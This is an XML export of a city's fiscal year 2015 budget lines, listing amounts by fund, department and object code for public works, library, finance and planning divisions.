<row _id="14091"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>335000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>335000.0</total></row>
<row _id="14092"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1657.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1657.0</total></row>
<row _id="14093"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>15654.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15654.0</total></row>
<row _id="14094"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>555220.0</object><object_description>UNIFORM RENTAL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1600.0</total></row>
<row _id="14095"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>8602.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8602.0</total></row>
<row _id="14096"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>842.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>466594.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>466594.0</total></row>
<row _id="14097"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>844.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>76350.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>76350.0</total></row>
<row _id="14098"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3871912.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3871912.0</total></row>
<row _id="14099"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>103836.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>103836.0</total></row>
<row _id="14100"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1068900.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1068900.0</total></row>
<row _id="14101"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577170.0</object><object_description>GAS TAXES REIMBURSEMENT</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>-1959004.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1959004.0</total></row>
<row _id="14102"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578300.0</object><object_description>SUPPORTIVE HOUSING PROGRAM</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>-80455.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-80455.0</total></row>
<row _id="14103"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578200.0</object><object_description>AIRPORT REIMBURSEMENT FOR SBDC</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>-31687.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-31687.0</total></row>
<row _id="14104"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>235</division_id><division_name>WORKER'S COMPENSATION</division_name><object>522090.0</object><object_description>MISCELLANEOUS COSTS</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>250000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>250000.0</total></row>
<row _id="14105"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>401330.0</object><object_description>MALL / DOWNTOWN MAINT DISTRICT</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-16000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-16000.0</total></row>
<row _id="14106"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>405060.0</object><object_description>ENGINEERING COUNTER SALES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-6682.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-6682.0</total></row>
<row _id="14107"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>401600.0</object><object_description>LIBRARY FINES</object_description><category_code>614.0</category_code><category_code_description>Fines and Forfeitures</category_code_description><fiscal_year>2015</fiscal_year><july>-231500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-231500.0</total></row>
<row _id="14108"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>9849.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9849.0</total></row>
<row _id="14109"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>555180.0</object><object_description>PHOTOGRAPHIC EXPENSE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>204.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>204.0</total></row>
<row _id="14110"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>37243.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>37243.0</total></row>
<row _id="14111"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>577230.0</object><object_description>FISCAL AGENT FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5345.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5345.0</total></row>
<row _id="14112"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>49138.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>49138.0</total></row>
<row _id="14113"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>400910.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>400910.0</total></row>
<row _id="14114"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>400080.0</object><object_description>HOME EXEMPT TAX RELIEF</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14115"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>16000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16000.0</total></row>
<row _id="14116"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>544050.0</object><object_description>CEMENT / SAND / GRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="14117"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1552988.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1552988.0</total></row>
<row _id="14118"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>850.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>12835.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12835.0</total></row>
<row _id="14119"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>103836.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>103836.0</total></row>
<row _id="14120"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511250.0</object><object_description>STANDBY PAY</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>24766.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>24766.0</total></row>
<row _id="14121"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>854.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>194727.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>194727.0</total></row>
<row _id="14122"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>844.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>407200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>407200.0</total></row>
<row _id="14123"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>544350.0</object><object_description>TRAINING COSTS</object_description><category_code>844.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14124"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>566060.0</object><object_description>INTEREST EXPENSE</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>6108.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6108.0</total></row>
<row _id="14125"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>402950.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2015</fiscal_year><july>-50000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-50000.0</total></row>
<row _id="14126"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>22000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>22000.0</total></row>
<row _id="14127"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3800.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3800.0</total></row>
<row _id="14128"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>311.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>311.0</total></row>
<row _id="14129"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5740.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5740.0</total></row>
<row _id="14130"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>544150.0</object><object_description>TREES/SEEDS/PLANTS/FERTILIZER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="14131"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>37946.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>37946.0</total></row>
<row _id="14132"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>37252.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>37252.0</total></row>
<row _id="14133"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>846.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>79570.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>79570.0</total></row>
<row _id="14134"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>509.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>509.0</total></row>
<row _id="14135"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522650.0</object><object_description>OTHER OPERATING RENT</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>230634.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>230634.0</total></row>
<row _id="14136"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14137"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14138"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14139"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2346495.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2346495.0</total></row>
